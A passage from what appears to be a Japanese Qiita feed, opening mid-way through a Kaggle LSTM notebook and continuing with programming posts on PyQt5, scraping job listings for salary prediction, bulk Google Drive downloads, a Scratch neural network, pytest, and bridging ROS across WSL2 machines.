pd.read_csv(r"../content/sample_submission.csv.zip") if DEBUG: train = train[:80*1000] train.shape, test.shape, submission.shape display(train) display(test) # Add Feature def add_features(df): # (省略) return df train = add_features(train) test = add_features(test) targets = train["pressure"].to_numpy().reshape(-1, 80) train.drop(labels="pressure", axis=1, inplace=True) train = add_features(train) # normalize the dataset RS = RobustScaler() train = RS.fit_transform(train) # Reshape to group 80 timesteps for each breath ID train = train.reshape(-1, 80, train.shape[-1]) test = add_features(test) test = RS.transform(test) test = test.reshape(-1, 80, test.shape[-1]) train.shape, test.shape # Model Creation def create_lstm_model(): x0 = tf.keras.layers.Input(shape=(train.shape[-2], train.shape[-1])) lstm_layers = 4 # number of LSTM layers lstm_units = [320, 305, 304, 229] lstm = Bidirectional(keras.layers.LSTM(lstm_units[0], return_sequences=True))(x0) for i in range(lstm_layers-1): lstm = Bidirectional(keras.layers.LSTM(lstm_units[i+1], return_sequences=True))(lstm) lstm = Dropout(0.001)(lstm) lstm = Dense(100, activation='relu')(lstm) lstm = Dense(1)(lstm) model = keras.Model(inputs=x0, outputs=lstm) model.compile(optimizer="adam", loss="mae") return model # Training # Function to get hardware strategy def get_hardware_strategy(): try: # TPU detection. No parameters necessary if TPU_NAME environment variable is # set: this is always the case on Kaggle. tpu = tf.distribute.cluster_resolver.TPUClusterResolver() print("Running on TPU ", tpu.master()) except ValueError: tpu = None if tpu: tf.config.experimental_connect_to_cluster(tpu) tf.tpu.experimental.initialize_tpu_system(tpu) strategy = tf.distribute.experimental.TPUStrategy(tpu) tf.config.optimizer.set_jit(True) else: # Default distribution strategy in Tensorflow. Works on CPU and single GPU. strategy = tf.distribute.get_strategy() return tpu, strategy tpu, strategy = get_hardware_strategy() EPOCH = 350 BATCH_SIZE = 512 NFOLDS = 5 with strategy.scope(): kf = KFold(n_splits=NFOLDS, shuffle=True, random_state=2021) history = [] test_preds = [] for fold, (train_idx, test_idx) in enumerate(kf.split(train, targets)): print("-"*15, ">", f"Fold {fold+1}", "<", "-"*15) X_train, X_valid = train[train_idx], train[test_idx] y_train, y_valid = targets[train_idx], targets[test_idx] model = create_lstm_model() model.compile(optimizer="adam", loss="mae", metrics=[tf.keras.metrics.MeanAbsolutePercentageError()]) scheduler = ExponentialDecay(1e-3, 400*((len(train)*0.8)/BATCH_SIZE), 1e-5) lr = LearningRateScheduler(scheduler, verbose=0) history.append(model.fit(X_train, y_train, validation_data=(X_valid, y_valid), epochs=EPOCH, batch_size=BATCH_SIZE, callbacks=[lr])) test_pred = model.predict(test).squeeze().reshape(-1, 1).squeeze() test_preds.append(test_pred) # save model #model.save("lstm_model_fold_{}".format(fold)) del X_train, X_valid, y_train, y_valid, model gc.collect() # Export && Submission submission["pressure"] = sum(test_preds)/5 submission.to_csv('submission.csv', index=False) print('./submission.csv') display(submission) !kaggle competitions submit -c ventilator-pressure-prediction -f submission.csv -m "xxxxx Message xxxxx" 参考書籍 『Kaggleで勝つデータ分析の技術』(技術評論社) 以上
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PyQt5のチュートリアルを動かす ⑤ レイアウト管理

はじめに 前回は,QtのSignalとSlotを動作させてみました。 今回はlayoutクラスについての導入です。 内容 qtのwidgetはsetGeometry(xpos, ypos, width, height)というメソッドをもちこれによってpixel単位の絶対座標位置を設定します。 以下の例では300x200ピクセルのウィンドウが(10,10)の位置に表示されます。 layout.py import sys from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * def window(): app = QApplication(sys.argv) w = QWidget() b = QPushButton(w) b.setText("Hello World!") b.move(50,20) w.setGeometry(10,10,300,200) w.setWindowTitle("PyQt") w.show() sys.exit(app.exec_()) if __name__ == '__main__': window() PushButtonWidgetはウィンドウの左から50ピクセル,上から20ピクセルの位置に設置されます。 しかしwindowのサイズ変更に対してボタンのサイズが変わったりしません。 そういった場合にlayoutクラスを使用するとWigetのサイズが動的に変化したり,移動したりするようになります。 そのクラスについてまとめると以下のようになります。 1.QBoxLayout:Widgetを垂直 or 水平に並べるクラス. (※派生クラス→QVBoxLayout:垂直配置,QHBoxLayout:水平配置) 2.QGridLayout:行と列に配置されたグリッドセルのは位置ができる.addWidget()メソッドを持っていて行数、列数を指定して任意のwidgetを追加可. 3.QFormLayout:?? さいごに layoutクラス内部にwidgetを配置すると,widgetが動的に変化してくれるようです。 windowから溢れたときに下に移動したりといった動きをしてくれるのでしょうか?? 今後使っていければと思います。 参考
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

paizaの求人情報から年収予測モデルを構築する方法

どのようなスキルセットや求人の条件が高収入につながるのか?  ITエンジニアの転職サイトにはいろいろなものがあると思いますが、そのうちの一つにPaizaがあります。Paizaにはスキルチェック機能があり、気軽にオンラインジャッジを使って問題を解くことで自分のコーディングスキル(の一部)について研鑽を積むことができたり、学習コンテンツを活用することでいろいろな技術への入門ができたりと多彩な機能を備えています。(Paizaマジ感謝!) 今回はPaizaに掲載されている求人情報をクローリング・スクレイピングして募集内容の要素(勤務地、開発言語、経歴など)と提示年収がどのような関係にあるのかについての予測モデルを機械学習によって作成することを目的としています。 クローリング・スクレイピングによる情報収集 今回の取り組みで求人ページから取得する要素は、 求人ページのurl 企業名 求人ポスト 年収 勤務地 募集にあたっての必須要件 開発言語とフレームワーク クラウドプラットフォーム データベース 通過ランク です。 クローリング・スクレイピングは2段階で行っていて、後の機械学習パートにおいて教師データとして使用する上記の要素をone-hotエンコーディングで取得するためにそれぞれの要素にはどのようなものがあるのかの一覧を第一段階で取得し、第二段階で個々の求人がどのような要素を持っているかを取得します。 第一段階のクローリングはこのコードを使って行い、 第二段階のスクレイピングはこのコードを使って行いました。第一段階のクローリングではlxmlとselector及び正規表現を駆使して上記それぞれの要素がとりうる値のリストを作成し、第二段階のスクレイピングではそれぞれの求人により取得したデータをPandasのデータフレーム形式としてまとめてCSVに保存することとしました。 年収はレンジで「400万~800万円」のように提示されていることもあれば、「400万円~」のように提示されていることもあるので、前者の場合は間をとって600万円、後者の場合は下限の値を代表値400万円としてラベルを作成することとしました。 そうやって得られたデータがこちらです。(2021/12/1時点) 収集データによる学習 後は収集したデータをPandasのデータフレームとしてgoogle colab上で学習し、年収予測モデルを作成します。 サンプルコードはこちらです。 データがそれほど多くないのでほんの数秒で学習が終わります。 上記が年収のヒストグラムです。皆さんたくさんお金をもらっていてうらやましい限りです。 学習の進行状況的に20エポックで十分そうだったので、20エポックで打ち切りました。 最終的に100万円程度の誤差が残っています。 このモデルを使って、下記の要素についてパラメータスタディを行いました。 勤務地 通過ランク 開発言語とフレームワーク クラウドプラットフォーム データベース 必須要件 どこにも住んでいない、通過ランクE、なんの開発経験もない人について予測を行うと年収は100.5156万円と予測されました。 これに対して通過ランクを上げていくと S 506.27173 A 425.1205 B 343.9692 C 262.81808 D 181.66684 E 100.5156 となるそうです。絶対値の確からしさはわかりませんが傾向としては直観通りかと思います。 このようなことを上記のパラメータに対して行ったところインパクトの大きい要素順に 通過ランク > 必須条件 > 勤務地 > 開発言語・フレームワーク 、データベース、クラウドプラットフォーム という感じでした。 参考までに、PaizaランクがSで勤務地が東京で何らかの開発経験が1年 Python3,JavaScript, Vue.js,Django,AWSの求人の場合の年収予測を行うと、701.84344万円となります。(いいな!) 最後に クローリング・スクレイピングは対象のサービスに対して負荷をかける恐れがありますので、事前にrobots.txtを確認したりしてご迷惑をかけないように行ってください。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PyQt5のチュートリアルを動かす ④ Signals & Slots

前回はQt Designerの使い方をご紹介しました。 今回はシグナルとスロットについてです。 Qt Designerを使ったSignal/Slotの記述 1.まず,Qt Designerを開きInput WidgetsのLine EditとButtonsのPush Buttonを配置します。 2.Edit>Edit Signals/Slotsを選択し,PushButtonからLineEditを結ぶ 3.それぞれの機能を選択 今回はボタンを押したら,ラベルの文字が消える動作をさせます。 この場合,pushButtonはclicked()を,lineEditはclear()を選択。 4..uiファイルを保存し,pythonコードに変換します。 pyuic5 -x signalslot.ui -o signalslot.py 生成されたコードには以下の用にsignalとslotの記述がされます。 self.pushButton.clicked.connect(self.lineEdit.clear) プログラムで書くと? デザイナーを使う代わりに直接記述する場合以下のように記載します。 widget.signal.connect(slot_function) 例えばボタンwidgetにシグナルを設定する場合はこのようになります。 button.clicked.connect(slot_function) widgetが持っているシグナル要素?にconnectメソッドでよびだす関数を定義するようです。 signal/slotを使って,ボタンが押されたら,プリントするサンプルコードは以下のようになります。 buttons.py import sys from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * def window(): app = QApplication(sys.argv) win = QDialog() b1 = QPushButton(win) b1.setText("Button1") b1.move(50,20) b1.clicked.connect(b1_clicked) b2 = QPushButton(win) b2.setText("Button2") b2.move(50,50) b2.clicked.connect(b2_clicked) win.setGeometry(100,100,200,100) win.setWindowTitle("PyQt5") win.show() sys.exit(app.exec_()) def b1_clicked(): print ("Button 1 clicked") def b2_clicked(): print ("Button 2 clicked") if __name__ == '__main__': window() 実行結果 最後に 部品間でsignal/slotを設定する場合はDesignerを使用したほうが簡単そうです。 slotを自分の好きな内容にする場合も空のsignal関数を設定できれば楽そうですが,Designerにあるのでしょうか? 今後そういった部分も知っていければなと思います。 参考
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

GoogleDriveに格納しているファイルを一括ダウンロードするPythonスクリプト

背景: 最近はFTPでのファイル転送を使うより、GoogleDrive(GSuite)を使ってのファイルのやりとりをしたいとの要望が増えた気がします。 先日はたくさんの画像ファイルをGoogleDrive経由で受け取り、それを加工して弊社サーバーに上げるという作業を行った時に、GoogleDriveに上がっているファイルを一括ダウンロードするPythonスクリプトを用意したのでご紹介します。 設定①:サービスアカウントの準備 GoogleDriveで利用するサービスアカウントキーをGCPから作成します。 サービスアカウントの作成は以下の記事に詳細があります。 ステップ4.3で作成したサービスアカウントで ${入力したアカウント名}@project-${プロジェクトID}.iam.gserviceaccount.com がメールアドレスのような形で取得できます。これは次の設定②で利用します。 ステップ4.8にて秘密鍵JSONを取得することができるので、それをダウンロードして保持しておきます。 設定②:サービスアカウントをGoogleDriveの共有設定に登録する GoogleDriveのフォルダ名をクリックすると、「共有」というリンクが表示されるのでクリックします。 共有するユーザー一覧のところに、設定①で作成したサービスアカウントを登録します。 そうすることで、このサービスアカウントを経由してGoogleDriveのファイルを参照することが可能になります。 スクリプト実装 設定①で作成したJSONファイルをPythonから参照できるところに保存しておく。 今回は、'lib/credentials/google-drive-credentials.json'に保存しました。 本記事への投稿用に簡略化していますが以下のスクリプトを実行するとファイルが一括DLできます。 import os from django.conf import settings from googleapiclient.discovery import build from googleapiclient.http import MediaIoBaseDownload from httplib2 import Http from oauth2client.service_account import ServiceAccountCredentials SCOPES = ['https://www.googleapis.com/auth/drive'] def main() -> None: credentials = ServiceAccountCredentials.from_json_keyfile_name( credentials_file_path(), SCOPES ) http_auth = credentials.authorize(Http()) service = build('drive', 'v3', http=http_auth) parent = '1xDiN68Ocz1aXaABCDEFGHIJK' # 先程共有したフォルダのIDでブラウザのURLから取得する while True: response = service.files().list( q=f"'{parent}' in parents" if parent else None, pageSize=100).execute() items = response.get('files', []) if not items: # itemsが存在しない場合中断 print(f'No files. {parent}') break for item in items: request = service.files().get_media(fileId=item.get('id')) file_path = f"to/save/path/{item.get('name')}" with open(file_path, 'wb', buffering=0) as fh: downloader = MediaIoBaseDownload(fh, request) done = False while done is False: status, done = downloader.next_chunk() print(f'Downloading... {file_path}, {status.total_size / 1024 / 1024}MB') def credentials_file_path() -> str: """秘密鍵を保存しているファイルパス""" path = os.path.join( settings.BASE_DIR, 'lib', 'credentials', 'google-drive-credentials.json' # 設定①で取得したJSONファイルを格納した場所 ) return path main() 改善① フォルダ内のファイルが100件以上の場合はnextPageTokenを利用する response.get('nextPageToken')で2ページ目・3ページ目・・・と次の100件が取得できるようになります。 page_token = None # Noneの場合はページャーで初期値 while True: response = service.files().list( q=f"'{parent}' in parents" if parent else None, pageToken=page_token, pageSize=100).execute() items = response.get('files', []) page_token = response.get('nextPageToken') # 対象件数が100件以上あれば、このpage_tokenを用いて次のページを取得する if not items: # itemsが存在しない場合中断 print(f'No files. {parent}') break 改善②: このままだとTeamDriveという機能を使っている組織とのファイル共有ができない。 TeamDriveでGoogleDriveの権限を制御している場合は、ファイルリストを取得する時に includeItemsFromAllDrives=True というパラメータを付与する必要があります。そうしないとファイルリストが取得できませんでした。 response = self.service.files().list( q=f"'{parent}' in parents" if parent else None, includeItemsFromAllDrives=True, # TeamDriveも含めて参照することができる pageToken=page_token, pageSize=100).execute() このあたりのパラメータは最近も変更されているので、公式ドキュメントを参照することをオススメします。 改善③:共有フォルダの中に更にフォルダがある場合は再帰的に取得する。 def walk(parent:str = None): .... items = response.get('files', []) .... for item in items      if item.get('mimeType') == 'application/vnd.google-apps.folder': # itemがフォルダであることを判定         # 再帰的に取得する        return walk(item.get('id'))      else:         ....# ファイルをダウンロードする まとめ: ・GoogleDriveからファイルを一括ダウンロードする設定とPythonスクリプトをご紹介。 ・GoogleDriveの認証に今回はサービスアカウントを使ってみました。前はOAuthでやったことあったのですが、サービスアカウントの方が楽に参照できる範囲を絞れたりしてとても良いです? 良いクリスマスを!
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Scratchでライブラリなしでニューラルネットワークを作ってみた

Scratchでニューラルネットワークが作れちゃった! 簡単な自己紹介 簡単に自己紹介させていただきます。プログラミング勉強中、Scratchが一番得意、Web系のプログラマーになりたい高校生です。 最近勉強しすぎて頭がおかしくなっています。あらゐけいいちさんの日常が世界一好きです。(アニメは見たがまだ漫画は見ていない) 今回の記事の詳しい内容はブログに載せています(プログラムの内容など)⬇️ ProtoPediaのヒーローズリーグ2021にも応募してみました⬇️ Qiita、書き方とか全体的に初心者すぎて何もわからないのですが、プログラミング界隈の方が多くみているのかなと思い、それなら自分がScratchで作ったニューラルネットワークが評価されるのではと思い、記事を書いてみました。 もしScratchでニューラルネットワークを作ろうとしている方はぜひ参考にしていただけると嬉しいです。 ニューラルネットワーク作ってみた Scratchでニューラルネットワーク。独自拡張、ライブラリ、改造ブロックなど一切なし。 どうやって作ったのか 「ゼロから作るDeep Learning――Pythonで学ぶディープラーニングの理論と実装」という本を参考にしました。最初にPython、NumPyで作った後にNumPyをScratchで再現、そしてPythonのプログラムを再現しました。 性能 入力層の数:784個(28*28のピクセルデータの個数分) 中間層一つ目の数:50個 中間層二つ目の数:100個 出力層の数:10個(0~9の答えの個数分) 画像認識ができる(0~9のMNISTデータセットを90%以上の精度で認識) まだ学習機能は搭載していない 今後の使い道 ScratchでもYouTubeにあるような機械学習ができる Scratchで作った作品に組み込める ゲームのAIとか ニューラルネットワークの仕組みの学習教材 ディープラーニング制作 こだわったポイント 2*2以上?の行列演算ができるプログラム NumPyソースコードで行列作成ができる 多分ブロードキャストができる(忘れてしまった汗) 汎用性が高い 今後の課題 学習ができない ソースコードが汚い 画像認識以外のこともできるようにする 今後の課題の学習ができないについては、勾配降下法や遺伝的アルゴリズムを使って実装しようと思っています。個人的に実装が楽そうなのは遺伝的アルゴリズムなので、多分遺伝的アルゴリズムで実装すると思います。 まとめ Scratchでもニューラルネットワークはライブラリ、独自拡張機能などなくても作れる。 作るのには数学の知識が必要になる。(微分、行列、シグマ等)遺伝的アルゴリズムを使えば学習機能を比較的簡単に実装できそう。 微分、スーパーウルトラグレートデリシャスワンダフルワカリヅレー!!! ここまでよんでいただきありがとうございました。SNSシェアなどよろしくお願いします!
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

ユニットテスト大事なのでちゃんと勉強した話

まえがき 私は、弊社の案件で運用しているAIシステムで、主にバッチ処理を定期的に動かしたり、リリースを管理したりと、アルゴリズム開発というよりは主にインフラ側の保守を担当しています。 納期が短かったため、開発当時は「本番環境でバッチが動けばオッケー牧場!」というマインドで運用していました。 事前テストも、あらかじめ本番環境に近い環境で動かして、正常に動くことを目視確認していました。 本当は、モジュールも1つずつテストしたいんですよね。 なんでテストが必要なの? でも、テストって、ぶっちゃけめんどくさいですよね、書くの。 コードの実装がすでに頭に浮かんでいて、さっさと実コードを書いてしまいたい場合が多いと思います。 「動いてんだからいいじゃん!」実際、私もそうでした。 しかし、ことデータシステムにおいては、次のようなケースがよくあることがわかりました。 タイムゾーン無しの時刻型で処理していたと思いきや、タイムゾーンありだった 型体系の違いで、INT型で来るものと思って処理していたら、実はDOUBLEだった 処理の途中で、DataFrameに空行が入ってた 特にAIを扱うシステムですから、翌日には扱うデータはガラリと変わっているわけで、1回正常に動いたからと言って翌日も正常に動くとは限りません。 こういった原因で本番環境でバグが起き、処理が止まってしまうと、自分たちが大変なだけではなく、このバッチ処理システムを使っている事業部の人々にも影響が出ます。 だからテストを書くんだね 本番で起こるエラーは、主に「プログラム自体の間違い」か「メモリ枯渇や権限などのインフラ的な問題」です。 このうち「プログラム自体の間違い」をなくすことは、テストを書くことで善処していくことができます。 なので、テストがないプログラムは、今からでもテストを書いていった方がいいと思いました。 1日1テスト。3日で3テスト。 ちなみに、テスティングフレームワークはpytestを使っています。 Pytest: https://docs.pytest.org/en/6.2.x/ テストの種類 テストには、大きく分けて2種類あります。 ユニットテスト 結合テスト ユニットテストって? 今開発しているプロジェクトの、個々のパーツが正しく動作するかどうかを確認する作業です。 個々のパーツは、例えば 入力ファイルをpickleに変換して、別の場所に出力する。 DataFrameに対して演算をし、結果を新しい列として追加する 学習処理をして、指定の場所にモデルを出力する。 など、入出力が決まっており、pytestなどのテストフレームワークを使えば、目視で確認しなくとも自動でできるようになっています。 結合テストって? これはつまり、外部システムとの連携も含めて、正常に動作するかというテストです。たとえば、ほかのアプリケーションにリクエストを出したりします。 この記事では解説の対象としません。 ユニットテストはいいぞ 私の経験上、テストを書くと次のようなメリットがあります。 1. レビュー負荷を削減できる。 多くのテストは自動化できますので、かなりの負荷軽減になります。 また、coverageを合わせて使えば、コードのカバレッジ(全コードに対する、テストされたコードの割合)も確認できます。 これが100%になるまでテストケースを書き、テストを実行するのを繰り返していけば、どこがテストされていないかわかりやすいです。 2. 精神的負荷を軽減できる。 テストがないと、プログラムのロジックの正当性は人間が確認しないといけません。しかし人間は間違いを犯す生き物ですから、正しくまんべんなくレビューするのは難しく、テストがないと、リリースした後などに「あのコード、本当にちゃんと動くかしら・・」と不安になってしまいます。(実際私もそうでした。) テストを書くことで、この精神的な負荷を軽減できます。ユニットテストさえ通れば、少なくともリリースするコードは正しく動くことが保証できます。「テストが間違っていたら意味ないだろう!」という声が聞こえてきそうですが、しらみつぶしに1つ1つ、手で確認するよりは負荷はずっと低いはずです。テストが間違っていて、リリース後に不具合が発生した場合は、テストケースを追加して、それが通るように修正すればよいのです。 3. テスト仕様書の代わりに使える。 テストケースは、テスト対象のモジュールに対して、入力と、それに期待する出力を定義して、正しく出力するかを確認する作業ですので、これはそのまま「モジュールの仕様」をテストで定義したことになります。 ね?いいことたくさんでしょ? もちろん、これらのメリットを享受するために、「テスト可能な」実装をしていく必要があります。 pytestでできること ここからはドキュメントの解説みたいになりますが・・・。 「pytestはいいぞ!」ということが伝わってくれれば本望です。 基本のテストケース 例えば、年齢を入力すると、お酒が飲める年齢かどうかを返すメソッド can_drink() を考えましょう。 引数を1つ受け取って、20以上であれば"あなたはお酒が飲めます"と返し、19以下であれば"お酒は二十歳になってから"と出力するメソッドをテストすることを考えます。 普通、ルートから見てsrc/can_drink.pyにあるコードのテストは、tests/src/test_can_drink.pyのように、 tests/ディレクトリの下に 実コードと同じ構成で ファイル名の頭にtest_をつけて 作成します。 # tests/src/test_can_drink.py def test_can_drink(): assert can_drink(33) == "あなたはお酒が飲めます" assert can_drink(15) == "お酒は二十歳になってから" assert can_drink(20) == "あなたはお酒が飲めます" # 境界値 assert can_drink(19) == "お酒は二十歳になってから" # 境界値 これで、テストケースが完成しました。実行するときはpytestと実行すればOKです。 pip install pytest # 入れてなければ pytest テストケースがいっぱいある場合は、いちいちassertって書くのめんどくさくない? そんなあなたに@pytest.mark.parametrize これを使うと、メソッドが同じでパラメータだけが違うテストケースがたくさんある場合に、ひとまとめに書くことができるのです!便利でしょー。 # tests/src/test_can_drink.py import pytest OSAKE_OK = "あなたはお酒が飲めます" OSAKE_NG = "お酒は二十歳になってから" # ここ!ここです! @pytest.mark.parametrize([ "age, expected", [ (33, OSAKE_OK), # 入力パラメータと期待する出力を、引数で与えてあげる (15, OSAKE_NG), (20, OSAKE_OK), (19, OSAKE_NG), ] ]) def test_can_drink(age:int, expected:str): assert can_drink(age) == expected # 引数で比較できるので、テスト本体はひとまとめにできる。 pytest parametrize -> https://docs.pytest.org/en/6.2.x/parametrize.html 前処理入れたいときとかどうするの? そんなあなたにconftest.py conftest.pyというファイルをtests/ディレクトリ内に置いておくと、その場所より深い場所にあるテストケースすべてに対して、conftest.pyに書いた前処理が使えるようになります。 例えば、テスト時にはテスト用の環境変数を使いたい場合などは、便利です。 # tests/conftest.py import pytest @pytest.fixture(scope="session") def set_test_env(): os.environ["ENV"] = "test" # 環境変数を設定した後、テストケースに入る. yield # テストケースが終わったら、セットした環境変数を削除する del os.environ["ENV"] テストケース側は、次のように引数に呼び出したい前処理を入れるだけです。 def test_something(set_test_env): # このテストは`set_test_env`というfixtureにより # 環境変数ENV=testが設定された状態で実行される。 assert os.environ["ENV"] == "test" ね、便利でしょ?いちいちimportして呼び出したりしなくてもよいのですから。 ちなみに、こういった、前処理後の環境を、テストケースの引数として受け取る機能をfixtureとpytestでは呼んでいます。 これはWebアプリ開発などで、テスト用クライアントを使いたい場合などで威力を発揮します。 Flaskの公式ドキュメントに解説があります。⇒https://flask.palletsprojects.com/en/2.0.x/testing/#the-testing-skeleton pytest conftest.py -> https://docs.pytest.org/en/6.2.x/fixture.html#scope-sharing-fixtures-across-classes-modules-packages-or-session ログがちゃんと出るかどうか確認したいんだけど? そんなあなたにcaplog たとえば、先ほどのお酒の例でいうと、年齢が150歳以上など、人間の寿命的に考えにくい入力が与えられた場合に「本当に正しい年齢ですか?」と警告を出したい場合がありますね。 その場合、次のように書くことができます。 def test_warn_under20(caplog): # caplogはimportしなくてよい!引数名に書くだけ! # どのログレベルまでキャプチャするか設定する caplog.set_level(logging.WARN) can_drink(150) assert len(caplog.records) == 1 for record in caplog.records: #python標準のLogRecordとして参照できる assert record.levelname == "WARN" assert record.msg.find("150歳は本当に正しい年齢ですか?") >= 0 caplog.recordsは、Python標準のlogging.LogRecordのリストになっているので、いつものロガーのように扱えます。 [pytext] caplog -> https://docs.pytest.org/en/6.2.x/reference.html?highlight=caplog#caplog 実行したくないメソッドがあるんだけど・・・ そんなあなたにpytest-mock これはpython 3の標準モジュールにもあるモックをfixtureとして使えるようにしたものです。 そもそもMockというのは、実コード中のある関数を別の関数に置き換えることができるものです。 なので、mockした関数が 呼ばれたのかどうか 何回呼ばれたのか どんな引数で呼ばれたのか をテストすることができます。それも、実際に実行することなく。これは非常に助かる!! Pytest-mockはpytestの拡張モジュールであり、追加でインストールする必要があります。 使い方の例を作ろうと思いましたが、良い例が思いつかず、、 公式ドキュメントに掲載されている例がわかりやすいかもしれません。 https://github.com/pytest-dev/pytest-mock まとめ こうしてみると、pytestそれ自身で、テストを書く工数が下がるような機能がたくさんあることがわかります。 私自身ものぐさなので、「おっ、これは助かるなー」と思うような機能もたくさんありました。 この記事で紹介しきれなかった機能もたくさんあります。公式ドキュメントのAPIリファレンスを眺めるだけでもかなりの数がありますね。 まずは自分が勉強して、「テストって素晴らしい」と思ってもらえるように、一緒に頑張っていきましょう。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PyQt5のチュートリアルを動かす ③ Qt Designerを使う

前回,PyQt5で良く使用するツールやモジュールを紹介しました。 今回はQt Designerを使い方を説明します。 これを使うとGUIをコードを書かずに作成でき楽です。 今回はこの使い方を記載します。 使い方 アプリを開く 2.テンプレート選択 3.左の部品を組み合わせてGUI作成 4..uiファイルを生成し,以下コマンドからpythonコードを生成 pyuic5 -x demo.ui -o demo.py 5.実行 python demo.py 先程作成したGUIが表示されました。 6.生成コードにプログラムを追加し,お好きなアプリケーションを作成してください 以上 最後に 今回のGUIはボタンなどを押してもアクションが生成されません。 この、ユーザーのアクションに反応することをevent handlingと呼びます。 次回はこのevent handlingについてご紹介致します。 参考
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【ROS/WSL2】ROS Bridgeを使用した複数マシン(複数ROS master)間の通信

はじめに ROS Advent Calendar 2021の2日目の記事です! 前回の記事(【ROS/WSL2】WSL2上のROSと外部PCで通信してみたかった)でWSL2上のROSと、外部PCとのROSの通信を試みたのですが、うまくいきませんでした。 今回は、ROS Bridgeを使用することで通信することができたので紹介します! ROSノードは以下で公開しています。 超概要はこんな感じです。 これを使用すると、 - 複数マシン&複数ROS master(roscore)間の通信が可能になります。 - 任意のトピックをもう一方へpublishすることができます。 - トピック名を区別することも可能です。もちろん、そのままもできます。 例(どちらのパターンもできます): /cmd_vel => /cmd_vel /cmd_vel => /robot_a/cmd_vel 環境 以下の環境での動作を確認しています。 PC1 Jetson Nano ROS Melodic PC2 Windows10 WSL2 ROS Melodic Ubuntu 16.04では動作の確認ができていません (roslibpyのインストールが正常にできない) 環境の準備 依存関係のインストール 使用するソフトウェアは - ROS Bridge (サーバー) - ROS Bridge (Pythonクライアント) - ROSpy Message Converter (http://wiki.ros.org/rospy_message_converter) になります。 以下のコマンドでインストールします。 $ sudo apt-get install ros-<rosdistro>-rosbridge-server $ pip install roslibpy $ sudo apt-get install ros-<rosdistro>-rospy-message-converter ※WSL2を使用する場合 WSL2用の設定 WSL2を使用する場合、WindowsからWSL2上のUbuntuへポートフォワーディングの設定とファイアフォールの設定を行う必要があるため以下のコマンドを実行してください。ここではROS bridgeを9090ポートで使用する前提になります。 ポートフォワーディングの設定 $ netsh.exe interface portproxy add v4tov4 listenport=9090 connectaddress=(wsl -d Ubuntu-18.04 exec hostname -I).trimend() Firewallの設定 $ New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Outbound -LocalPort 9090 -Action Allow -Protocol TCP $ New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Inbound -LocalPort 9090 -Action Allow -Protocol TCP 起動 ここで起動方法を紹介するROSノードは、デフォルトでは起動時にrostopic listで確認できるすべてのトピックをブリッジします。 もちろん除外するトピックの指定や、特定のトピックのみをブリッジすることも可能です。 ROS bridgeのWebsocketサーバを起動しておきましょう 複数マシンで試す際はどちらのマシンでも起動してください。 $ roslaunch rosbridge_server rosbridge_websocket.launch ※確認のため、例えばカメを動かしたい場合はこのタイミングで起動しておきます。 PC1でカメのシミュレーションを起動 $ rosrun turtlesim turtlesim_node PC2でカメのTeleopを起動 $ rosrun turtlesim turtle_teleop_key 起動方法 詳細は後述しますが起動方法です。ローカルでsubscribeし、publishさせたい方(ブリッジさせたい方)のみの起動で動作の確認はできます。 起動時のパラメータも以下にまとめます。リモートのホストのIPアドレスを入力するremote_hostを変更することで外部のPCへ接続します。他のパラメータは必要に応じて変更してください。 $ roslaunch ros_to_rosbridge rosbridge_to_rosbridge.launch remote_host:={remote PC ip address} パラメータ名 デフォルト 説明 local_host 127.0.0.1 ローカルのWebsocketサーバが起動しているのIPアドレス local_port 9090 ローカルのWebsocketサーバが起動しているポート remote_host 127.0.0.1 リモートのWebsocketサーバが起動しているIPアドレス(※多くの場合は要変更) remote_port 9090 リモートのWebsocketサーバが起動しているのポート use_id_for_ns false confファイルのidをトピックにつけるか否か(/cmd_velトピックが、/id/cmd_velのようになります。) 設定ファイル ros_to_rosbridge/confフォルダにブリッジするトピックなどの設定ファイルがあります。 デフォルトは以下のようになっています。 /turtle1/*のように、ワイルドカードの指定も可能です。 include_topicsでトピックを指定すると、そのトピックのみブリッジします。 ros_to_rosbridge/conf/config.yaml id : robot_a exclude_topics: - /rosout - /rosout_agg - /client_count - /connected_clients # - /turtle1/* include_topics: # - name : /cmd_vel # type : geometry_msgs/Twist # - name : /odom # type : nav_msgs/Odometry 項目 説明 id ブリッジ先のトピック名冒頭につけるid exclude_topics ブリッジが除外されるトピック include_topics ブリッジされるトピック(トピック名とデータ型) ROSノードの概要 実は今回は、2種類の方法で実装してみました。 ↑の起動は1の方です。2はGitHubのここにひっそりとあります。 1. ローカルのROS bridge から リモートのROS Bridgeへ 2. ローカルのROSの通信からリモートのROS bridgeへ メリット(特徴)とデメリットは以下だと思っています。 # メリット(特徴) デメリット 1 コード内でメッセージ型を呼び出さずに実装できる ローカルの通信でもわざわざwebsocket通信を使う 2 ローカル通信はROS メッセージ型はハードコーディングになる 以下にイメージ図を示します。赤い資格で囲まれたROSノードが今回紹介しているノードです。 1のイメージは以下になります。 2のイメージは以下になります。赤矢印部分が1と異なる部分です。 WSL2上のROSと通信する このシステムは、WSL2上のROSでも使用することができます。 というかそれがやりたくて色々探していたら思っていたより大きめなシステムになってしまいました。 ポートフォワーディングの設定をすることで、以下のように通信することができます。 おそらく9090番という特定のポートだけを開ければよかったので通信が実現できたのではないかと思います。 おわりに なんとか目指していたシステムを作ることができました! GitHubにちゃんと上げて公開するのは初めてです。何もないかもしれませんが覗くだけでも覗いていってくれたらうれしいです。 LGTMなども励みになります!最後までご覧いただきありがとうございました。 参考
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【ROS/WSL2】WSL上のROSと外部PCで通信する

